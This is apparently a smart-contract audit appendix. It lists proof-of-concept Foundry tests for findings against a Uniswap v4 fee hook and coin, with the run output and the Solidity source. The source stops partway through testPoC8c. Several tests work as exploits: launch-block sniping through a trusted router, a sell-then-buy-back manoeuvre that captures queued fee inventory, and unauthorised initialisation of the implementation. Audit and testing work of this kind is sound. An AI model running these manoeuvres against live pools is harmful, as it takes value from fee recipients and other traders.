# Proof-of-concept tests

**Date**: 2026-11-25, commit `bcd45b2` (`main`). Forge 1.9.0.

These are the tests behind the verdicts in [`findings.md`](findings.md) and
[`fp-check-verification.md`](fp-check-verification.md). They were written under a temporary `test/audit-poc/`
directory, run, and removed again, so the repository's own test suite is unchanged. They reuse the project's
harness (`test/DicesHookTrading.t.sol`, `test/utils/Fixtures.sol`) and a real Uniswap v4 `PoolManager`.

For DICES-05 these tests cover the version in which the caller already holds coins. The stronger version,
in which the caller holds nothing, was established by a separate verifier; its tests are in
[`poc-tests-verify05.md`](poc-tests-verify05.md).

## Which test supports which finding

| Test | Finding | What it shows |
| --- | --- | --- |
| `testPoC1_zeroCreatorBricksEverySwapThatCreditsTheCreator` (both orderings) | DICES-01 | With `creator == address(0)`: exact-input sells, exact-output buys and converting buys revert with `FeeEscrow.InvalidBeneficiary`; only an exact-output sell still works |
| `testPoC1_control_nonZeroCreatorTradesNormally` | DICES-01 | Control: the same sequence succeeds with a real creator |
| `testPoC12_zeroBuyAndBurnRecipientBlocksUsdcFeeSwapsUntilSet` | DICES-01 | Same failure for a hook constructed with a zero buy-and-burn recipient, until the owner sets one |
| `testPoC9_levelsNineAndTenNeedMoreHoldersThanTheSupplyAllows` | DICES-02 | 3,333 is the most holders that can exist; levels 9 and 10 need 3,800 and 5,800 |
| `testPoC4_ownerCanChargeTheWholeOutputOfExistingPools` | DICES-03 | After `setFeeCalculator`, a sell on an existing pool returns no USDC |
| `testPoC10_hookStoresAnyLevelTheCalculatorReturns` | DICES-03, DICES-07 | The hook stores level 255 and can never lower it |
| `testPoC8_queuedFeeInventoryIsSoldAtAPriceTheBuyerCanPushDown` | DICES-05 | A holder sells part of its coins and buys back with the proceeds: same USDC, more coins |
| `testPoC8_baseline_inventoryValueAtTheUnmanipulatedPrice` | DICES-05 | What the same queue credits to fee recipients when converted by an ordinary buy |
| `testPoC8b_aDifferentHolderCapturesAnotherBuyersQueuedFee` | DICES-05 | The same, done by a holder who is not the large buyer |
| `testPoC8c_measuresOfGainAndWhoPays` | DICES-05 | The manoeuvre under three measures: coin count rises, recipients are credited less than half, and the holder realises less if it then sells everything |
| `testPoC2_anyUserOfATrustedRouterBuysInTheLaunchBlock` (both orderings) | DICES-06 | An untrusted router is stopped in the launch block; a third party using the trusted router is not |
| `testPoC3_calculatorReturningMalformedDataBlocksEverySwap` | DICES-07 | A reverting calculator is tolerated; one that returns malformed data reverts every swap and `syncLevel` |
| `testPoC5_swapPoolKeepsTheOldSplitAfterTheCalculatorIsReplaced` | DICES-08 | After the owner sets a protocol-only split, converted fees still pay the creator and buy-and-burn |
| `testPoC7_anyoneCanInitialiseTheCoinImplementation` | DICES-12 | A stranger initialises the implementation and mints its supply |
| `testPoC13_ethSentToTheSwapPoolStaysThere` | DICES-13 | ETH sent to the swap pool is accepted and never leaves |
| `testPoC15_permit2AllowanceIsInfiniteAndFixed` | DICES-15 | Permit2's allowance is infinite without approval and cannot be lowered |
| `testPoC11_conversionProceedsAreTakenBeforeTheBuyerPays` | DICES-19 | In a PoolManager that holds only this pool's USDC, a converting buy reverts; with other USDC present it succeeds |
| `testPoC6_gasStarvationCannotSkipAnObservation` | R-01 (rejected) | No gas limit lets a swap succeed while the calculator call runs out of gas |

## How to run them

```sh
mkdir -p test/audit-poc
# save the source below as test/audit-poc/AuditPoC.t.sol
forge test --match-path 'test/audit-poc/*' -vv
rm -r test/audit-poc
```

`testPoC8*` and `testPoC8c` mint USDC to the PoolManager before trading. That stands in for the other pools'
USDC a live PoolManager holds; `testPoC11` shows why it is needed and does not affect pool accounting.

## Output

```text
Ran 18 tests for test/audit-poc/AuditPoC.t.sol:AuditPoC
[PASS] testPoC10_hookStoresAnyLevelTheCalculatorReturns() (gas: 7344713)
[PASS] testPoC11_conversionProceedsAreTakenBeforeTheBuyerPays() (gas: 8861895)
Logs:
  USDC left in the PoolManager (1e6): 106019752
[PASS] testPoC12_zeroBuyAndBurnRecipientBlocksUsdcFeeSwapsUntilSet() (gas: 8190059)
[PASS] testPoC13_ethSentToTheSwapPoolStaysThere() (gas: 8308090)
[PASS] testPoC15_permit2AllowanceIsInfiniteAndFixed() (gas: 7140272)
[PASS] testPoC1_control_nonZeroCreatorTradesNormally(bool) (runs: 256, μ: 8728890, ~: 8728890)
[PASS] testPoC1_zeroCreatorBricksEverySwapThatCreditsTheCreator(bool) (runs: 256, μ: 9113366, ~: 9113366)
[PASS] testPoC2_anyUserOfATrustedRouterBuysInTheLaunchBlock(bool) (runs: 256, μ: 8744129, ~: 8744129)
Logs:
  sniper coins bought in launch block (1e18): 72713672
[PASS] testPoC3_calculatorReturningMalformedDataBlocksEverySwap() (gas: 8712014)
[PASS] testPoC4_ownerCanChargeTheWholeOutputOfExistingPools() (gas: 8179070)
Logs:
  USDC taken as fee from one sell (1e6): 14726581
[PASS] testPoC5_swapPoolKeepsTheOldSplitAfterTheCalculatorIsReplaced() (gas: 8510322)
Logs:
  creator credit after owner set a protocol-only split (1e6): 303764
[PASS] testPoC6_gasStarvationCannotSkipAnObservation() (gas: 534163173)
Logs:
  smallest successful gas limit: 571464
  observation recorded at that limit: true
  gas limits where the swap succeeded without an observation: 0
[PASS] testPoC7_anyoneCanInitialiseTheCoinImplementation() (gas: 5071019)
[PASS] testPoC8_baseline_inventoryValueAtTheUnmanipulatedPrice() (gas: 8096576)
Logs:
  inventory before (coins): 8398971
  inventory after (coins): 368272
  fee credits created by an honest 5,000 USDC buy (1e6): 1349459216
[PASS] testPoC8_queuedFeeInventoryIsSoldAtAPriceTheBuyerCanPushDown() (gas: 26790092)
Logs:
  queued inventory after the large buy (coins): 8398971
  sold % 5
    coin change (coins, signed): 746108
    fee credits created (1e6): 1120181260
  sold % 10
    coin change (coins, signed): 1370603
    fee credits created (1e6): 960750024
  sold % 15
    coin change (coins, signed): 1676116
    fee credits created (1e6): 849519106
  sold % 20
    coin change (coins, signed): 1783265
    fee credits created (1e6): 768543358
  sold % 25
    coin change (coins, signed): 1765997
    fee credits created (1e6): 706657684
  sold % 30
    coin change (coins, signed): 1654278
    fee credits created (1e6): 659353511
  sold % 35
    coin change (coins, signed): 1470271
    fee credits created (1e6): 623262250
  sold % 40
    coin change (coins, signed): 1243179
    fee credits created (1e6): 593864869
  sold % 45
    coin change (coins, signed): 969756
    fee credits created (1e6): 571699348
  sold % 50
    coin change (coins, signed): 670125
    fee credits created (1e6): 553628207
  sold % 55
    coin change (coins, signed): 357854
    fee credits created (1e6): 537528780
  sold % 60
    coin change (coins, signed): 17904
    fee credits created (1e6): 525771808
  sold % 65
    coin change (coins, signed): -336709
    fee credits created (1e6): 516316491
  sold % 70
    coin change (coins, signed): -696856
    fee credits created (1e6): 507727988
  sold % 75
    coin change (coins, signed): -1068305
    fee credits created (1e6): 500916359
  sold % 80
    coin change (coins, signed): -1449174
    fee credits created (1e6): 495586828
  sold % 85
    coin change (coins, signed): -1832786
    fee credits created (1e6): 490688089
  sold % 90
    coin change (coins, signed): -2223784
    fee credits created (1e6): 486952457
  sold % 95
    coin change (coins, signed): -2620991
    fee credits created (1e6): 484195047
  sold % 100
    coin change (coins, signed): -3019330
    fee credits created (1e6): 481615830
  best coin gain at zero USDC cost (coins): 1783265
    when selling % of holding: 20
[PASS] testPoC8b_aDifferentHolderCapturesAnotherBuyersQueuedFee() (gas: 16772469)
Logs:
  queued inventory (coins): 5288977
  holder coins before (coins): 276365099
  best coin gain at zero USDC cost (coins): 502501
    when selling % of holding: 30
[PASS] testPoC8c_measuresOfGainAndWhoPays() (gas: 10002731)
Logs:
  holder coins (coins): 663518715
  queued inventory (coins): 8398971
  H: queue converted (coins): 8030698
  H: conversion proceeds credited (1e6): 1349459216
  A: USDC from selling everything, no manoeuvre (1e6): 29520305495
  B: USDC change (1e6): 0
  B: coin change (coins): 1783265
  B: queue before buy-back minus queue after (coins, signed): 6696603
  B: credits from the sell fee (1e6): 175361927
  B: credits from converting the queue (1e6): 593181431
  B: USDC from selling everything after the manoeuvre (1e6): 28844995666
[PASS] testPoC9_levelsNineAndTenNeedMoreHoldersThanTheSupplyAllows() (gas: 8651697)
Logs:
  supply / threshold (most holders that can ever exist): 3333
  level 1
    holder floor: 150
    coins needed in qualifying wallets (millions): 45
  level 2
    holder floor: 225
    coins needed in qualifying wallets (millions): 67
  level 3
    holder floor: 350
    coins needed in qualifying wallets (millions): 105
  level 4
    holder floor: 500
    coins needed in qualifying wallets (millions): 150
  level 5
    holder floor: 750
    coins needed in qualifying wallets (millions): 225
  level 6
    holder floor: 1100
    coins needed in qualifying wallets (millions): 330
  level 7
    holder floor: 1700
    coins needed in qualifying wallets (millions): 510
  level 8
    holder floor: 2500
    coins needed in qualifying wallets (millions): 750
  level 9
    holder floor: 3800
    coins needed in qualifying wallets (millions): 1140
  level 10
    holder floor: 5800
    coins needed in qualifying wallets (millions): 1740
Suite result: ok. 18 passed; 0 failed; 0 skipped; finished in 475.15ms (969.71ms CPU time)
Ran 1 test suite in 480.43ms (475.15ms CPU time): 18 tests passed, 0 failed, 0 skipped (18 total tests)
```

## Source

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.38;

// TEMPORARY audit proof-of-concept tests (2026-11-25 skills review). Not part of the project's test suite.

import {DicesCoin} from '../../src/DicesCoin.sol';
import {LiveCalculator} from '../../src/calculators/LiveCalculator.sol';
import {InternalSwapPool} from '../../src/core/InternalSwapPool.sol';
import {IDicesHook} from '../../src/interfaces/IDicesHook.sol';
import {IFeeCalculator} from '../../src/interfaces/IFeeCalculator.sol';
import {IFeeEscrow} from '../../src/interfaces/IFeeEscrow.sol';
import {DicesHookTradingTestBase} from '../DicesHookTrading.t.sol';
import {FixedRateCalculator, HookHarness, ProtocolOnlyCalculator, TestToken} from '../utils/Fixtures.sol';
import {MsgSenderSwapRouter} from '../utils/MsgSenderSwapRouter.sol';
import {console2} from 'forge-std/console2.sol';
import {IHooks} from 'v4-core/interfaces/IHooks.sol';
import {IPoolManager} from 'v4-core/interfaces/IPoolManager.sol';
import {StateLibrary} from 'v4-core/libraries/StateLibrary.sol';
import {BalanceDelta} from 'v4-core/types/BalanceDelta.sol';
import {Currency} from 'v4-core/types/Currency.sol';
import {PoolId} from 'v4-core/types/PoolId.sol';
import {PoolKey} from 'v4-core/types/PoolKey.sol';
import {SwapParams} from 'v4-core/types/PoolOperation.sol';

/// @dev Has code and answers every call with 32 bytes that do not fit a uint8.
contract WideReturnCalculator {
    fallback() external {
        assembly {
            mstore(0, 256)
            return(0, 32)
        }
    }
}

/// @dev Has code and answers every call with empty return data.
contract EmptyReturnCalculator {
    fallback() external {}
}

contract AuditPoC is DicesHookTradingTestBase {
    using StateLibrary for IPoolManager;

    function _prepareWithCreator(bool coin0, address creator) internal {
        _deploy(coin0);
        coin = DicesCoin(hook.createCoin(IDicesHook.CoinParams('Dices Coin', 'DICE', creator)));
        (Currency c0, Currency c1, uint24 fee, int24 spacing, IHooks hooks) = hook.poolKeys(address(coin));
        key = PoolKey(c0, c1, fee, spacing, hooks);
        router = new MsgSenderSwapRouter(manager);
        hook.setTrustedRouter(address(router), true);
        usd.mint(address(this), 1_000_000e6);
        usd.approve(address(router), type(uint).max);
        coin.approve(address(router), type(uint).max);
        vm.roll(block.number + 1);
    }

    function _loadKey() internal {
        (Currency c0, Currency c1, uint24 fee, int24 spacing, IHooks hooks) = hook.poolKeys(address(coin));
        key = PoolKey(c0, c1, fee, spacing, hooks);
    }

    function _newTrustedRouterAndFunds() internal {
        router = new MsgSenderSwapRouter(manager);
        hook.setTrustedRouter(address(router), true);
        usd.mint(address(this), 1_000_000e6);
        usd.approve(address(router), type(uint).max);
        coin.approve(address(router), type(uint).max);
        vm.roll(block.number + 1);
    }

    /// @dev Sell `pct`% of `who`'s coins, then spend exactly the proceeds buying back. Returns the coin change.
    function _sellThenBuyBack(address who, uint pct) internal returns (int change) {
        uint snapshot = vm.snapshotState();
        uint coinsBefore = coin.balanceOf(who);
        uint usdBefore = usd.balanceOf(who);
        vm.startPrank(who);
        router.swap(key, _paramsFor(false, true, coinsBefore * pct / 100));
        router.swap(key, _paramsFor(true, true, usd.balanceOf(who) - usdBefore));
        vm.stopPrank();
        assertEq(usd.balanceOf(who), usdBefore, 'USDC neutral');
        change = int(coin.balanceOf(who)) - int(coinsBefore);
        vm.revertToState(snapshot);
    }

    function _contains(bytes memory haystack, bytes4 needle) internal pure returns (bool) {
        if (haystack.length < 4) {
            return false;
        }
        for (uint i; i + 4 <= haystack.length; i++) {
            if (haystack[i] == needle[0] && haystack[i + 1] == needle[1] && haystack[i + 2] == needle[2] && haystack[i + 3] == needle[3]) {
                return true;
            }
        }
        return false;
    }

    function _expectInvalidBeneficiary(SwapParams memory params, uint maxInput) internal {
        bytes memory call_ = maxInput == 0 ? abi.encodeCall(router.swap, (key, params)) : abi.encodeCall(router.swapWithMaxInput, (key, params, maxInput));
        (bool ok, bytes memory reason) = address(router).call(call_);
        assertFalse(ok, 'swap should revert');
        assertTrue(_contains(reason, IFeeEscrow.InvalidBeneficiary.selector), 'revert reason is FeeEscrow.InvalidBeneficiary');
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 1: createCoin accepts creator == address(0); every swap that credits the creator then reverts
    // ---------------------------------------------------------------------------------------------------

    function testPoC1_zeroCreatorBricksEverySwapThatCreditsTheCreator(bool coin0) public {
        _prepareWithCreator(coin0, address(0));
        assertEq(hook.poolCreators(key.toId()), address(0), 'createCoin accepted the zero creator');

        // (a) The first exact-input buy succeeds: its fee is charged in the coin and only queued in the swap pool.
        _trade(true, true, 100e6);
        assertGt(coin.balanceOf(address(this)), 0);
        assertGt(isp.internalSwapPool(address(coin)), 0);

        // (b) Exact-input sell: fee is charged in USDC and the creator share is credited to address(0).
        _expectInvalidBeneficiary(_paramsFor(false, true, 1_000e18), 0);

        // (c) Exact-output buy: fee is charged in USDC.
        _expectInvalidBeneficiary(_paramsFor(true, false, 1_000e18), 10e6);

        // (d) A second exact-input buy that trades into the JIT range: converted proceeds credit the creator.
        _expectInvalidBeneficiary(_paramsFor(true, true, 100e6), 0);

        // (e) The only exit left to the first buyer is an exact-output sell, whose fee is charged in the coin.
        uint usdBefore = usd.balanceOf(address(this));
        _trade(false, false, 10_000);
        assertEq(usd.balanceOf(address(this)) - usdBefore, 10_000);
    }

    /// @dev Control: the same sequence with a non-zero creator trades normally.
    function testPoC1_control_nonZeroCreatorTradesNormally(bool coin0) public {
        _prepareWithCreator(coin0, CREATOR);
        _trade(true, true, 100e6);
        _trade(false, true, 1_000e18);
        _trade(true, false, 1_000e18);
        _trade(true, true, 100e6);
        assertGt(escrow.claimable(CREATOR, address(usd)), 0);
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 2: any user of a trusted router can buy in the launch block
    // ---------------------------------------------------------------------------------------------------

    function testPoC2_anyUserOfATrustedRouterBuysInTheLaunchBlock(bool coin0) public {
        _deploy(coin0);
        router = new MsgSenderSwapRouter(manager);
        MsgSenderSwapRouter untrusted = new MsgSenderSwapRouter(manager);

        // V001.s.sol trusts the Universal Router in exactly this way (script/deployment/V001.s.sol:238).
        hook.setTrustedRouter(address(router), true);

        coin = DicesCoin(hook.createCoin(_params()));
        (Currency c0, Currency c1, uint24 fee, int24 spacing, IHooks hooks) = hook.poolKeys(address(coin));
        key = PoolKey(c0, c1, fee, spacing, hooks);
        assertEq(hook.launchBlock(key.toId()), block.number, 'still the launch block');

        address sniper = address(0x5417E4);
        assertTrue(sniper != CREATOR && sniper != address(this));
        usd.mint(sniper, 2_000e6);

        vm.startPrank(sniper);
        usd.approve(address(router), type(uint).max);
        usd.approve(address(untrusted), type(uint).max);

        // The guard does stop an untrusted router in the launch block...
        (bool ok, bytes memory reason) = address(untrusted).call(abi.encodeCall(untrusted.swap, (key, _paramsFor(true, true, 1_000e6))));
        assertFalse(ok);
        assertTrue(_contains(reason, IDicesHook.CannotBuyZeroBlock.selector));

        // ...but not a third party who simply uses the trusted one.
        router.swap(key, _paramsFor(true, true, 1_000e6));
        vm.stopPrank();

        assertGt(coin.balanceOf(sniper), 0, 'a non-creator bought in the launch block');
        console2.log('sniper coins bought in launch block (1e18):', coin.balanceOf(sniper) / 1e18);
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 3: the try/catch around qualify does not cover malformed return data
    // ---------------------------------------------------------------------------------------------------

    function testPoC3_calculatorReturningMalformedDataBlocksEverySwap() public {
        _prepare(true);

        // Control: a calculator that REVERTS is tolerated, as the NatSpec promises.
        live.setBroken(true);
        _trade(true, true, 1e6);
        hook.syncLevel(address(coin));
        live.setBroken(false);

        // A contract with code that returns a word that is not a valid uint8 passes `_setLiveCalculator`...
        hook.setLiveCalculator(address(new WideReturnCalculator()));
        (bool ok,) = address(router).call(abi.encodeCall(router.swap, (key, _paramsFor(true, true, 1e6))));
        assertFalse(ok, 'buy reverts');
        (ok,) = address(router).call(abi.encodeCall(router.swap, (key, _paramsFor(false, true, 1e18))));
        assertFalse(ok, 'sell reverts');
        vm.expectRevert();
        hook.syncLevel(address(coin));

        // ...and so does one that returns nothing at all (for example any contract with a silent fallback).
        hook.setLiveCalculator(address(new EmptyReturnCalculator()));
        (ok,) = address(router).call(abi.encodeCall(router.swap, (key, _paramsFor(true, true, 1e6))));
        assertFalse(ok, 'buy reverts');
        (ok,) = address(router).call(abi.encodeCall(router.swap, (key, _paramsFor(false, true, 1e18))));
        assertFalse(ok, 'sell reverts');
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 4: the owner-replaceable fee calculator has no rate cap in the hook
    // ---------------------------------------------------------------------------------------------------

    function testPoC4_ownerCanChargeTheWholeOutputOfExistingPools() public {
        _prepare(true);
        _trade(true, true, 1_000e6);

        hook.setFeeCalculator(address(new FixedRateCalculator(100_000)));

        uint usdBefore = usd.balanceOf(address(this));
        uint creditsBefore = _totalCredits();
        BalanceDelta delta = _trade(false, true, 1_000_000e18);
        assertEq(usd.balanceOf(address(this)), usdBefore, 'the seller receives no USDC at all');
        assertEq(delta.amount1(), 0);
        assertGt(_totalCredits() - creditsBefore, 0, 'the whole output became fee credits');
        console2.log('USDC taken as fee from one sell (1e6):', _totalCredits() - creditsBefore);
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 5: the swap pool keeps its own immutable calculator, so replacing the hook's changes half the flows
    // ---------------------------------------------------------------------------------------------------

    function testPoC5_swapPoolKeepsTheOldSplitAfterTheCalculatorIsReplaced() public {
        _prepare(true);

        // Owner moves every pool to a "100% to the protocol" split.
        hook.setFeeCalculator(address(new ProtocolOnlyCalculator()));

        // A USDC-denominated fee follows the new split: nothing for the creator.
        _trade(true, false, 1_000e18);
        assertEq(escrow.claimable(CREATOR, address(usd)), 0);
        assertEq(escrow.claimable(BURN, address(usd)), 0);

        // A coin-denominated fee is queued, then converted by the swap pool with the calculator it was built with.
        _trade(true, true, 100e6);
        _trade(true, true, 100e6);
        assertGt(escrow.claimable(CREATOR, address(usd)), 0, 'creator is still paid 30% of converted fees');
        assertGt(escrow.claimable(BURN, address(usd)), 0, 'buy and burn is still paid 30% of converted fees');
        console2.log('creator credit after owner set a protocol-only split (1e6):', escrow.claimable(CREATOR, address(usd)));
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 6 (negative): can a swap succeed while `qualify` runs out of gas inside the try, skipping an observation?
    // ---------------------------------------------------------------------------------------------------

    function testPoC6_gasStarvationCannotSkipAnObservation() public {
        _prepare(true);
        LiveCalculator calculator = new LiveCalculator(manager, address(usd), address(hook));
        hook.setLiveCalculator(address(calculator));
        vm.warp(500_000 hours);
        _trade(true, true, 100e6);

        // A silence of more than a day makes the next `qualify` write all 25 checkpoints: its most expensive path.
        vm.warp(block.timestamp + 30 hours);
        vm.roll(block.number + 1);
        PoolId id = key.toId();
        bytes memory call_ = abi.encodeCall(router.swap, (key, _paramsFor(true, true, 1e6)));

        // Smallest gas limit at which the swap succeeds at all.
        uint lo = 50_000;
        uint hi = 5_000_000;
        while (hi - lo > 1) {
            uint mid = (lo + hi) / 2;
            (bool okMid,) = _attempt(calculator, id, call_, mid);
            if (okMid) {
                hi = mid;
            } else {
                lo = mid;
            }
        }
        (bool okMin, bool observedMin) = _attempt(calculator, id, call_, hi);
        assertTrue(okMin);
        console2.log('smallest successful gas limit:', hi);
        console2.log('observation recorded at that limit:', observedMin);

        // Fine scan around the threshold, where a starvation window would have to sit, then a coarse scan above it.
        uint skipped;
        for (uint g = hi - 2_000; g < hi + 12_000; g += 16) {
            (bool ok, bool observed) = _attempt(calculator, id, call_, g);
            if (ok && !observed) {
                skipped++;
            }
        }
        for (uint g = hi + 12_000; g < 1_500_000; g += 6_000) {
            (bool ok, bool observed) = _attempt(calculator, id, call_, g);
            assertTrue(ok, 'more gas never fails');
            if (!observed) {
                skipped++;
            }
        }
        console2.log('gas limits where the swap succeeded without an observation:', skipped);
        assertEq(skipped, 0, 'no gas limit lets a swap through while starving qualify');
    }

    function _attempt(LiveCalculator calculator, PoolId id, bytes memory call_, uint gasLimit) internal returns (bool ok, bool observed) {
        uint snapshot = vm.snapshotState();
        (ok,) = address(router).call{gas: gasLimit}(call_);
        (, uint32 observedAt,,) = calculator.oracles(id);
        observed = observedAt == block.timestamp;
        vm.revertToState(snapshot);
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 7: the coin implementation itself can be initialised by anyone
    // ---------------------------------------------------------------------------------------------------

    function testPoC7_anyoneCanInitialiseTheCoinImplementation() public {
        _deploy(true);
        address anyone = address(0xBAD);
        vm.prank(anyone);
        implementation.initialize('Dices', 'DICE', 1_000_000_000e18, anyone);
        assertEq(implementation.balanceOf(anyone), 1_000_000_000e18);
        assertEq(implementation.name(), 'Dices');
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 8: can a coin holder buy the queued fee inventory at a price it pushed down in the same transaction?
    // ---------------------------------------------------------------------------------------------------

    function testPoC8_queuedFeeInventoryIsSoldAtAPriceTheBuyerCanPushDown() public {
        _prepare(true);

        // The PoolManager is a singleton that also holds every other pool's USDC. Without this the in-callback
        // `take` of JIT proceeds, which precedes the buyer's settlement, can exceed the manager's balance.
        usd.mint(address(manager), 10_000_000e6);

        // A large exact-input buy queues 1.25% of the coins bought as swap-pool inventory.
        _trade(true, true, 30_000e6);
        uint inventory = isp.internalSwapPool(address(coin));
        console2.log('queued inventory after the large buy (coins):', inventory / 1e18);

        uint best;
        uint bestSold;
        for (uint pct = 5; pct <= 100; pct += 5) {
            uint snapshot = vm.snapshotState();
            uint coinsBefore = coin.balanceOf(address(this));
            uint usdBefore = usd.balanceOf(address(this));
            uint creditsBefore = _totalCredits();

            // Sell part of the holding (pushing the price down), then spend exactly the proceeds buying back.
            uint sold = coinsBefore * pct / 100;
            _trade(false, true, sold);
            uint proceeds = usd.balanceOf(address(this)) - usdBefore;
            _trade(true, true, proceeds);

            uint coinsAfter = coin.balanceOf(address(this));
            assertEq(usd.balanceOf(address(this)), usdBefore, 'USDC neutral');
            if (coinsAfter > coinsBefore && coinsAfter - coinsBefore > best) {
                best = coinsAfter - coinsBefore;
                bestSold = pct;
            }
            console2.log('sold %', pct);
            console2.log('  coin change (coins, signed):', (int(coinsAfter) - int(coinsBefore)) / 1e18);
            console2.log('  fee credits created (1e6):', _totalCredits() - creditsBefore);
            vm.revertToState(snapshot);
        }
        console2.log('best coin gain at zero USDC cost (coins):', best / 1e18);
        console2.log('  when selling % of holding:', bestSold);
    }

    /// @dev Baseline for PoC 8: what the same inventory fetches when the next buyer does not move the price first.
    function testPoC8_baseline_inventoryValueAtTheUnmanipulatedPrice() public {
        _prepare(true);
        _trade(true, true, 30_000e6);
        uint inventory = isp.internalSwapPool(address(coin));
        uint creditsBefore = _totalCredits();
        _trade(true, true, 5_000e6);
        console2.log('inventory before (coins):', inventory / 1e18);
        console2.log('inventory after (coins):', isp.internalSwapPool(address(coin)) / 1e18);
        console2.log('fee credits created by an honest 5,000 USDC buy (1e6):', _totalCredits() - creditsBefore);
    }

    /// @dev PoC 8 with a third party: a holder who is not the large buyer captures part of that buyer's fee.
    function testPoC8b_aDifferentHolderCapturesAnotherBuyersQueuedFee() public {
        _prepare(true);
        usd.mint(address(manager), 10_000_000e6);

        address holder = address(0xB0B);
        address whale = address(0xA11CE);
        usd.mint(holder, 1_000_000e6);
        usd.mint(whale, 1_000_000e6);
        vm.startPrank(holder);
        usd.approve(address(router), type(uint).max);
        coin.approve(address(router), type(uint).max);
        router.swap(key, _paramsFor(true, true, 5_000e6));
        vm.stopPrank();

        // The whale's exact-input buy queues 1.25% of its coins as inventory.
        vm.startPrank(whale);
        usd.approve(address(router), type(uint).max);
        router.swap(key, _paramsFor(true, true, 30_000e6));
        vm.stopPrank();
        console2.log('queued inventory (coins):', isp.internalSwapPool(address(coin)) / 1e18);

        int best;
        uint bestPct;
        for (uint pct = 10; pct <= 100; pct += 10) {
            int change = _sellThenBuyBack(holder, pct);
            if (change > best) {
                best = change;
                bestPct = pct;
            }
        }
        console2.log('holder coins before (coins):', coin.balanceOf(holder) / 1e18);
        console2.log('best coin gain at zero USDC cost (coins):', best / 1e18);
        console2.log('  when selling % of holding:', bestPct);
        assertGt(best, 0, 'a third-party holder ends with more coins and the same USDC');
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 9: levels 9 and 10 need more qualifying holders than the supply allows
    // ---------------------------------------------------------------------------------------------------

    function testPoC9_levelsNineAndTenNeedMoreHoldersThanTheSupplyAllows() public {
        _prepare(true);
        LiveCalculator calculator = new LiveCalculator(manager, address(usd), address(hook));
        uint[10] memory floors = calculator.levelHolders();
        uint threshold = coin.HOLDER_THRESHOLD();
        uint supply = coin.totalSupply();
        uint mostHoldersPossible = supply / threshold;
        console2.log('supply / threshold (most holders that can ever exist):', mostHoldersPossible);
        for (uint level = 1; level <= 10; level++) {
            console2.log('level', level);
            console2.log('  holder floor:', floors[level - 1]);
            console2.log('  coins needed in qualifying wallets (millions):', floors[level - 1] * threshold / 1e24);
        }
        assertEq(mostHoldersPossible, 3_333);
        assertLe(floors[7], mostHoldersPossible, 'level 8 is arithmetically possible');
        assertGt(floors[8], mostHoldersPossible, 'level 9 is impossible');
        assertGt(floors[9], mostHoldersPossible, 'level 10 is impossible');
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 10: the hook stores any level the calculator returns, forever
    // ---------------------------------------------------------------------------------------------------

    function testPoC10_hookStoresAnyLevelTheCalculatorReturns() public {
        _prepare(true);
        live.setLevel(255);
        hook.syncLevel(address(coin));
        assertEq(hook.poolLevel(key.toId()), 255, 'above the ten levels that exist');
        live.setLevel(0);
        hook.syncLevel(address(coin));
        assertEq(hook.poolLevel(key.toId()), 255, 'and it can never be lowered');
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 11: in-callback takes are paid before the swapper settles, from the PoolManager's own balance
    // ---------------------------------------------------------------------------------------------------

    function testPoC11_conversionProceedsAreTakenBeforeTheBuyerPays() public {
        _prepare(true);

        // This PoolManager holds only this pool's USDC. Buy, then sell everything: the manager is nearly empty,
        // while the swap pool still holds the queued fee coins.
        _trade(true, true, 30_000e6);
        uint usdBefore = usd.balanceOf(address(this));
        _trade(false, true, coin.balanceOf(address(this)));
        uint proceeds = usd.balanceOf(address(this)) - usdBefore;
        console2.log('USDC left in the PoolManager (1e6):', usd.balanceOf(address(manager)));

        // The next buy converts the queued coins. The swap pool takes its USDC proceeds inside afterSwap, before
        // the router has paid the buyer's input, and the manager does not have them yet.
        (bool ok, bytes memory reason) = address(router).call(abi.encodeCall(router.swap, (key, _paramsFor(true, true, proceeds))));
        assertFalse(ok);
        assertTrue(_contains(reason, bytes4(keccak256('ERC20InsufficientBalance(address,uint256,uint256)'))));

        // With other pools' USDC in the manager, as on a live chain, the same buy succeeds.
        usd.mint(address(manager), 1_000_000e6);
        router.swap(key, _paramsFor(true, true, proceeds));
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 12: a hook constructed with a zero buy-and-burn recipient cannot charge a USDC fee
    // ---------------------------------------------------------------------------------------------------

    function testPoC12_zeroBuyAndBurnRecipientBlocksUsdcFeeSwapsUntilSet() public {
        address usdAddress = address(type(uint160).max);
        vm.etch(usdAddress, address(new TestToken(6)).code);
        usd = TestToken(usdAddress);
        isp = new InternalSwapPool(manager, IDicesHook(address(FLAGS)), IFeeCalculator(address(fees)), IFeeEscrow(address(escrow)));
        implementation = new DicesCoin(address(FLAGS), address(manager), address(isp), BANKROLL);
        deployCodeTo('Fixtures.sol:HookHarness', abi.encode(manager, usdAddress, payable(address(isp)), address(0), address(fees), address(live), address(this)), address(FLAGS));
        hook = HookHarness(address(FLAGS));
        hook.setCoinImplementation(address(implementation));
        assertEq(hook.buyAndBurnRecipient(), address(0), 'the constructor accepted a zero recipient');

        coin = DicesCoin(hook.createCoin(_params()));
        _loadKey();
        _newTrustedRouterAndFunds();

        _trade(true, true, 100e6);
        _expectInvalidBeneficiary(_paramsFor(false, true, 1_000e18), 0);

        hook.setBuyAndBurnRecipient(BURN);
        _trade(false, true, 1_000e18);
    }

    // ---------------------------------------------------------------------------------------------------
    // PoC 8c: the same manoeuvre under three measures of gain, and where the fee recipients' credits come from
    // ---------------------------------------------------------------------------------------------------

    function testPoC8c_measuresOfGainAndWhoPays() public {
        _prepare(true);
        usd.mint(address(manager), 10_000_000e6);
        _trade(true, true, 30_000e6);

        uint coins0 = coin.balanceOf(address(this));
        uint usd0 = usd.balanceOf(address(this));
        uint queue0 = isp.internalSwapPool(address(coin));
        console2.log('holder coins (coins):', coins0 / 1e18);
        console2.log('queued inventory (coins):', queue0 / 1e18);

        // (H) Ordinary conversion: a third party buys 5,000 USDC at the unmanipulated price.
        uint snapshot = vm.snapshotState();
        uint credits = _totalCredits();
